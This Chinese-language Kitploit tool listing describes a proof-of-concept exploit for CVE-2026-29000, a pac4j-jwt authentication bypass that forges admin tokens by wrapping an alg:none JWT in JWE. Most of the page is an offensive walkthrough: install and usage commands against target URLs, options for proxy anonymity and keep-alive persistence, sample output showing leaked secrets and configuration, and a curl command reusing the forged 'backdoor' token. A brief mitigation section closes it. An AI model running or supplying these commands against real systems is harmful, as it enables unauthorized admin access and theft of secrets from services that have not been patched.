Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-29000-PoC-Exploit — CVE-2026-29000 – pac4j-jwt 认证绕过(🔥 CVSS 10.0)。通过公钥 JWE 包装一键伪造管理员。泄漏配置、用户、机密。Keep-alive、代理、自定义 JWKS。⚙️ 教育用途 PoC 漏洞利用工具。 | Kitploit
工具/GitHubGitHub/tc4dy/cve-2026-29000-poc-exploit
身份验证与授权Payload生成漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试学习与教育红队
GitHubtc4dy/cve-2026-29000-poc-exploit

CVE-2026-29000-PoC-Exploit

CVE-2026-29000 – pac4j-jwt 认证绕过(🔥 CVSS 10.0)。通过公钥 JWE 包装一键伪造管理员。泄漏配置、用户、机密。Keep-alive、代理、自定义 JWKS。⚙️ 教育用途 PoC 漏洞利用工具。

313个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

🚀 CVE-2026-29000 - pac4j-jwt 身份验证绕过漏洞利用

Python CVSS License Pentesting

CVE-2026-29000 - 通过 JWT alg:none + JWE 加密一键伪造管理员权限

📌 概述

该利用工具将 CVE-2026-29000 武器化,这是 pac4j-jwt 库中一个 CVSS 10.0 的严重漏洞。通过提取服务器的公共 JWKS 密钥,并使用 alg: none 伪造加密的 JWE 令牌,它可实现完全的身份验证绕过,一键授予完整的管理员权限。

🔥 核心特性

  • ✅ 无需任何身份验证 - 预认证利用,无需有效凭据
  • ✅ 自动 JWKS 发现 - 扫描 15+ 个端点,支持自定义路径
  • ✅ RSA 密钥提取 - 获取公钥,即时将 JWK→PEM 转换
  • ✅ JWT + JWE 伪造 - 创建 alg:none JWT,并使用服务器自身公钥封装
  • ✅ 完整管理员令牌 - ROLE_ADMIN、admin:true,过期时间可配置
  • ✅ 身份验证绕过 - 自动测试 8+ 个受保护端点
  • ✅ 智能信息泄露 - 枚举 20+ 个敏感 API 路径
  • ✅ 会话持久化 - 保持连接线程维持访问
  • ✅ 代理支持 - HTTP/HTTPS 代理实现匿名
  • ✅ 文件导出 - 将伪造令牌 + 泄露数据保存至文件
  • ✅ 重试机制 - 针对不稳定连接可配置重试次数
  • ✅ 彩色输出 - 专业的分阶段可视化反馈
  • ✅ 详细模式 - 调试日志便于故障排查
  • ✅ 无硬编码延迟 - 仅有重试退避与保持连接心跳

🎯 受影响版本

库受影响版本已修补版本
pac4j-jwt< 5.1.5≥ 5.1.5
pac4j-jwt4.x < 4.5.8≥ 4.5.8
pac4j-jwt3.x < 3.18.6≥ 3.18.6

⚠️ 免责声明:此工具仅用于经授权的安全测试和红队行动。

📦 安装

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help

requirements.txt:

root@kitploit:~
requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6

🚀 使用方法

基本一键利用

root@kitploit:~
python exploit.py --target https://victim.com:8443

保存伪造令牌 + 泄露数据

root@kitploit:~
python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt

自定义 JWKS 的详细模式

root@kitploit:~
python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v

使用代理且不启用保持连接

root@kitploit:~
python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive

自定义保持连接间隔

root@kitploit:~
python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5

启用 SSL 验证

root@kitploit:~
python exploit.py -t https://legit.com:8443 --ssl-verify

⚙️ 命令行参数

📸 示例输出

root@kitploit:~
$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt

╔══════════════════════════════════════════════════════════════════════════════╗
║     CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit                 ║
║                    The Educational One‑Click Admin Forge                     ║
║                            CVSS 10.0 - CRITICAL                              ║
╚══════════════════════════════════════════════════════════════════════════════╝

[11:23:15] STAGE 1: Acquiring RSA public key from JWKS
[11:23:15] Probing for JWKS endpoint...
[11:23:16] Found JWKS at /realms/master/protocol/openid-connect/certs
[11:23:16] Successfully extracted RSA public key

[11:23:16] STAGE 2: Crafting JWT with alg:none & encrypting into JWE
[11:23:16] Forged JWE token (truncated): eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0...
[11:23:16] ✓ Token saved to backdoor.jwe

[11:23:16] STAGE 3: Sending forged JWE as Bearer token
[11:23:17] ✓ Authentication successful! Access granted to /api/users/me

[11:23:17] STAGE 4: Enumerating accessible endpoints & revealing sensitive data
[11:23:18] ✓ Leaked: /actuator/env (status 200)
[11:23:18] ✓ Leaked: /api/users (status 200)
[11:23:18] ✓ Leaked: /api/secrets (status 200)
[11:23:18] ✓ Leaked: /config/server (status 200)
[11:23:18] ✓ Captured 4 sensitive endpoints → saved to leak.txt

[11:23:18] Keep‑alive session active (Ctrl+C to stop)
[11:23:18] Token (JWE) valid for ~1 hour – reforge if expired

🧠 工作原理

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  STAGE 1: Public Key Acquisition                                │
│  ├── Discover JWKS endpoint (15+ known paths)                  │
│  ├── Fetch JWK containing RSA public key                       │
│  └── Convert JWK → PEM format                                   │
├─────────────────────────────────────────────────────────────────┤
│  STAGE 2: Token Forging                                         │
│  ├── Create JWT with alg: "none"                               │
│  ├── Inject admin claims (ROLE_ADMIN, admin: true)             │
│  └── Encrypt JWT into JWE using server's public key            │
├─────────────────────────────────────────────────────────────────┤
│  STAGE 3: Authentication Bypass                                 │
│  ├── Send JWE as Bearer token                                   │
│  ├── Test 8+ protected endpoints                               │
│  └── Extract session cookie                                     │
├─────────────────────────────────────────────────────────────────┤
│  STAGE 4: Information Exfiltration                              │
│  ├── Enumerate 20+ sensitive API paths                         │
│  ├── Collect configs, users, secrets, environment              │
│  └── Save all to leak file                                      │
├─────────────────────────────────────────────────────────────────┤
│  Keep-Alive: Ping /api/ping every N seconds                     │
└─────────────────────────────────────────────────────────────────┘

🔧 手动使用令牌

利用完成后,可使用 curl 配合已保存的 JWE 令牌:

root@kitploit:~
curl -H "Authorization: Bearer $(cat backdoor.jwe)" https://target.com/api/admin/users

🛡️ 检测与缓解

检测方法指标
日志分析审计日志中的 alg: none JWT
网络监控来自未知 IP 的 JWKS 端点请求
版本检查curl /actuator/info

缓解措施:

root@kitploit:~
将 pac4j-jwt 更新到已修补版本(≥5.1.5、≥4.5.8、≥3.18.6)

在 JWT 验证器中禁用 alg: none 支持

实施严格的 JWE 验证

监控异常的 JWT 结构
下载工具
参数简写必填默认值说明
--target-t是-目标 URL(例如:https://example.com:8443)
--jwks-k否自动检测自定义 JWKS 端点路径
--output-o否无将伪造的 JWE 令牌保存至文件
--leak-l否leaked_TIMESTAMP.txt将泄露数据保存至文件
--verbose-v否False启用调试输出
--proxy-p否无HTTP/HTTPS 代理
--user-agent-ua否Mozilla/5.0...自定义 User-Agent
--no-keep-alive-否False禁用会话保持连接
--delay-否5.0保持连接心跳间隔(秒)
--max-retries-否3每个失败请求的最大重试次数
--ssl-verify-否False验证 SSL 证书